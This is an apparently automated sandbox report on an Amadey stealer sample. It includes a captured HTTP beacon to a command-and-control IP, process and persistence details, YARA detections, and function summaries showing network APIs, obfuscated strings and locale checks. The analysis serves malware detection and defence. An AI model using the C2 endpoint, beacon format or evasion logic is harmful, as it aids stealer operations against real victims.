Sep 27, 2024 08:42:10.150201082 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:10.873265028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	02:40:04
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xeb0000
File size:	1'882'624 bytes
MD5 hash:	FC16F8C6B738FBB7D1A03848329360EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1804337968.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1763252380.0000000004930000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:40:08
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0xf80000
File size:	1'882'624 bytes
MD5 hash:	FC16F8C6B738FBB7D1A03848329360EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1841414182.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1800393603.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:40:09
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0xf80000
File size:	1'882'624 bytes
MD5 hash:	FC16F8C6B738FBB7D1A03848329360EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1852188803.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1811913047.0000000005460000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:41:00
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0xf80000
File size:	1'882'624 bytes
MD5 hash:	FC16F8C6B738FBB7D1A03848329360EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2320957202.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 04B40CE5 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7765e188ec10174629957fd0ab82b06b8ec56e1074520e0d23d9f79c1cafee80
Instruction ID: 32811cfd8b7afdda682b2952d09d1f92038ab4b208b87024546df72cf94a2e58
Opcode Fuzzy Hash: 7765e188ec10174629957fd0ab82b06b8ec56e1074520e0d23d9f79c1cafee80
Instruction Fuzzy Hash: 1701F7B778C515FDA102B0401A00AFA3A1DE2D5670B7084E6FF0B86502F2587A6DB1A1

Function 04B40D16 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd807d3c0e6e215b38ad8b72fddf61f762faa6e9f575114b264b1b039c7c5615
Instruction ID: 1669106ca6de095c8d4c4465f48964491d2fb50e55e95e2980057c871bd1ed62
Opcode Fuzzy Hash: cd807d3c0e6e215b38ad8b72fddf61f762faa6e9f575114b264b1b039c7c5615
Instruction Fuzzy Hash: 470126AA74C111FDA10271406B01AFA2B2C93D5730B3088E2FA0B96142F2983659B071

Function 04B40D06 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da67bf8f357eb9f467bf6079f219cdc61a09717c181c26b32d9f2138e5b77b4c
Instruction ID: 3a4ac7c131c5f2132adc5472523a6d30de7260d5b841c2a5ffa7996b3c3f57ca
Opcode Fuzzy Hash: da67bf8f357eb9f467bf6079f219cdc61a09717c181c26b32d9f2138e5b77b4c
Instruction Fuzzy Hash: E40149BB74C215FDA101B5406A00ABA7B6CE2C533073088F6FF0796201F2687A5DB171

Function 04B40D3B Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d41842fd992f3896e6617a7a87321a6ad510e8325381a291ae4bcb98a7d90a5
Instruction ID: d1a7b772758c4166f707dbd640fb6a70c17015c6d95ae4d683a14721c1deb68e
Opcode Fuzzy Hash: 5d41842fd992f3896e6617a7a87321a6ad510e8325381a291ae4bcb98a7d90a5
Instruction Fuzzy Hash: ECF04CBB74C200EEE146BA40A6015B93F64E7C5330B3048F6FA479B111E2687679B261

Function 04B40D55 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495a63e4bc4e594f48be643137e577c530dcea5fb64da559ca0b2cf2bf60464a
Instruction ID: a9bb28063881a283bd061f0fbc2d1860931fb52a874819e1af8bddaaf31fbcab
Opcode Fuzzy Hash: 495a63e4bc4e594f48be643137e577c530dcea5fb64da559ca0b2cf2bf60464a
Instruction Fuzzy Hash: 70F0C0A7A4C500FED102354057452F93F25B7DA33072044F1FB475B221F2993B6AB291

Function 04B40DAB Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58e58ffbaead9614bba9f013dc6c8dc6ffbfcabccf12b66dc41ad249c32873b
Instruction ID: d4e8bf74c5a61699cbe9f997061ce4d918194815144e9d167c91dd3e258fb266
Opcode Fuzzy Hash: a58e58ffbaead9614bba9f013dc6c8dc6ffbfcabccf12b66dc41ad249c32873b
Instruction Fuzzy Hash: B5F09EABB8C111FDD502754096455F53E26E7C737073049E1FA4B45120F2597A66B190

Function 04B40D6F Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fa1f6ecfd73341d8128b798226d0f496c80b246224eb6022e6be0b5c641f625
Instruction ID: 1a7746a31e13f5f2d31ee20ae0a912d01920d2b9066adac3c2b315e840dd077b
Opcode Fuzzy Hash: 3fa1f6ecfd73341d8128b798226d0f496c80b246224eb6022e6be0b5c641f625
Instruction Fuzzy Hash: 0DF09EABF8C101FED202B55096456F63F29E7C7270B3048E1FA4705110F15A7A66B190

Function 04B40D8E Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49aed577226ef1718af38f0d5958f563d73f39fe3ef0a020bed7b4f20b8fafb5
Instruction ID: a1046e82cebd70552564bc0052117fb62f25745e2a9ad4e524c6455778c4fc80
Opcode Fuzzy Hash: 49aed577226ef1718af38f0d5958f563d73f39fe3ef0a020bed7b4f20b8fafb5
Instruction Fuzzy Hash: FBF05C6AB88204EEC101354057402B2776567D6370B7009B1F64366581E2A93696B180

Function 04B40DC1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc606a8e4d2aacfa0aa7f739253f263d8642a269f78547045e3ac435b5f5d85
Instruction ID: e20b2bfac2163cd96bce68701ad5fc89622b675deab747517ff83a63e04bcfe0
Opcode Fuzzy Hash: dcc606a8e4d2aacfa0aa7f739253f263d8642a269f78547045e3ac435b5f5d85
Instruction Fuzzy Hash: 44E0CD57DCC110D6C143755041851F67FD07B972717240DE5E24729652E14E2766B161

Function 04B40E11 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fddadf1c954f3862b24cfe428afa119512b373d009f7209139b32b6de6d9b8f
Instruction ID: 7278adcaf34b62b8856b54f63d4b2b56fca49ba81b3484af39890bb33e4af58d
Opcode Fuzzy Hash: 3fddadf1c954f3862b24cfe428afa119512b373d009f7209139b32b6de6d9b8f
Instruction Fuzzy Hash: C5B09B669C9811C14040355157593B6765436911113D01DD7E34746951651523F9F962

Non-executed Functions

Function 04B401BD Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1807013821.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e71a216ec331114769a2640426c3d9f962cf11bf8f1d69b783b23783829362e6
Instruction ID: fe5b57bec76898768bf4e83d88c97cb9cfa305346b508f82113360d765e4f7a7
Opcode Fuzzy Hash: e71a216ec331114769a2640426c3d9f962cf11bf8f1d69b783b23783829362e6
Instruction Fuzzy Hash: 3D1125F72481507DB512A5512B24CFF3B6EE0D233033088A6F902DB982E2851F4E6171

Analysis Process: axplong.exePID: 6340, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.8%
Total number of Nodes:	601
Total number of Limit Nodes:	41

Executed Functions

Function 00F8BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00FD8D70,00000000,00000000,00000000,00000000), ref: 00F8BDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F8BE11
HttpOpenRequestA.WININET(?,00000000), ref: 00F8BE5B
HttpSendRequestA.WININET(?,00000000), ref: 00F8BF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 00F8BFCC
InternetCloseHandle.WININET(?), ref: 00F8C0A7
InternetCloseHandle.WININET(?), ref: 00F8C0AF
InternetCloseHandle.WININET(?), ref: 00F8C0B7

Strings

invalid stoi argument, xrefs: 00F8E404
8KG0fymoFx==, xrefs: 00F8C2EB, 00F8C543
stoi argument out of range, xrefs: 00F8E3FA
8KG0fCKZFzY=, xrefs: 00F8C385
RHYTYv==, xrefs: 00F8BE33
RpKt, xrefs: 00F8D516

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 688256393-332458646
Opcode ID: 1eb2b7423e471bf985258c54c7037ee6217beb79e6ff48206b94eed5722ebe67
Instruction ID: a8cbba21380c101ae77799ed96f51b2f8f327b5afe5d537548d876356451eeaa
Opcode Fuzzy Hash: 1eb2b7423e471bf985258c54c7037ee6217beb79e6ff48206b94eed5722ebe67
Instruction Fuzzy Hash: 49B1E3B1A101189BEF24DF28CC89BEEBB79EF45304F5041A9F508972D2D7749AC0DBA5

Function 00F865B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00F86650

Strings

RBPleCSm, xrefs: 00F8666C
IVKsgL==, xrefs: 00F867A1
GVQsgL==, xrefs: 00F866F8

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GVQsgL==$IVKsgL==$RBPleCSm
API String ID: 1484870144-3856690409
Opcode ID: f9b4b01941604ccff443b16a8821721572b6c6a94d08a3f43b9eca1dea837bfb
Instruction ID: ffb5fa5dc93a22fdd5c5e8a80652ac51c01ae88ff4bd78ae339caa35e9b6ff1b
Opcode Fuzzy Hash: f9b4b01941604ccff443b16a8821721572b6c6a94d08a3f43b9eca1dea837bfb
Instruction Fuzzy Hash: D691A1B1A001189BDF28EB24CC85BEDB779EF45304F5045E9E509D7282EB349B84DFA5

Function 00F946C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00F97870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00F9795C
Part of subcall function 00F97870: __Cnd_destroy_in_situ.LIBCPMT ref: 00F97968
Part of subcall function 00F97870: __Mtx_destroy_in_situ.LIBCPMT ref: 00F97971

Part of subcall function 00F8BD60: InternetOpenW.WININET(00FD8D70,00000000,00000000,00000000,00000000), ref: 00F8BDED
Part of subcall function 00F8BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F8BE11
Part of subcall function 00F8BD60: HttpOpenRequestA.WININET(?,00000000), ref: 00F8BE5B

std::_Xinvalid_argument.LIBCPMT ref: 00F94EA2

Strings

mP=, xrefs: 00F96383, 00F96652
WJP6, xrefs: 00F953A3
9KN6, xrefs: 00F95351
aZT6, xrefs: 00F953CC
6F9fr==, xrefs: 00F94712
fed3aa, xrefs: 00F95489
96B6, xrefs: 00F95470
MJF+, xrefs: 00F947BD, 00F948EC, 00F94ADC, 00F94C0B
Fz==, xrefs: 00F9369E, 00F94D2D
246122658369, xrefs: 00F94F3A, 00F94F4D, 00F94F8F, 00F94F99, 00F954F4
KFT0PL==, xrefs: 00F954B9
8ZF6, xrefs: 00F95502
V0N6, xrefs: 00F9537A
9526, xrefs: 00F9531D
stoi argument out of range, xrefs: 00F94269, 00F94EAC
MJB+, xrefs: 00F94776, 00F947ED, 00F94A95, 00F94B0C
V0x6, xrefs: 00F9541E
aqB6, xrefs: 00F954DB
Vp 6, xrefs: 00F95447
5F6, xrefs: 00F95497
JB6, xrefs: 00F953F5

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 2414744145-1662704651
Opcode ID: 5cdfc1da7b510472cf9478156b6c3e01c2b49be60c5072a0458351ec593806c2
Instruction ID: 75726cb0fef303019d96e0a8fa6d0889060f288cb6bd520274b2750092150e0b
Opcode Fuzzy Hash: 5cdfc1da7b510472cf9478156b6c3e01c2b49be60c5072a0458351ec593806c2
Instruction Fuzzy Hash: 66231471E102588BFF19DB28CD8979DBB769B81304F5481D8E009AB2D2EB399F84DF51

Function 00F85DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 00F8603B
Keyboard Layout\Preload, xrefs: 00F85F64
00000419, xrefs: 00F85FA8
00000423, xrefs: 00F8600A
00000422, xrefs: 00F85FD9

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: e485d778e16262c7c7968277d266812fbcc52bdccea8b49ab645e7f49c78d46c
Instruction ID: 90043fccdf9a97a9cde4fccc8aa3934f56da61b21df2292e50775f3cf918d61f
Opcode Fuzzy Hash: e485d778e16262c7c7968277d266812fbcc52bdccea8b49ab645e7f49c78d46c
Instruction Fuzzy Hash: 97E17E71900218ABEF24EFA4CC8DBDEB779AB04304F5442D9E509AB291DB749BC49F91

Function 00F87D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F87EA3

Strings

JmpxQb==, xrefs: 00F881B2
JmpyPb==, xrefs: 00F8810A
JmpxRL==, xrefs: 00F88062

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: 2c4d15000932e17d168cc50dbf147d5f047eb00cb80fe5290c0cced51e513d67
Instruction ID: 745ca92a7ffe2457f6b3474b19ebaf4feac64ce7b1f4a7ffe9dad99961216152
Opcode Fuzzy Hash: 2c4d15000932e17d168cc50dbf147d5f047eb00cb80fe5290c0cced51e513d67
Instruction Fuzzy Hash: A3D1E971E007449BDF14BB68CC4A7DD7771AB42720FA4428CE4156B3D2DB798E81ABD2

Function 00FB6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00FB6E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00FB6E7D
__dosmaperr.LIBCMT ref: 00FB6F12

Part of subcall function 00FB7177: __dosmaperr.LIBCMT ref: 00FB71AC

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
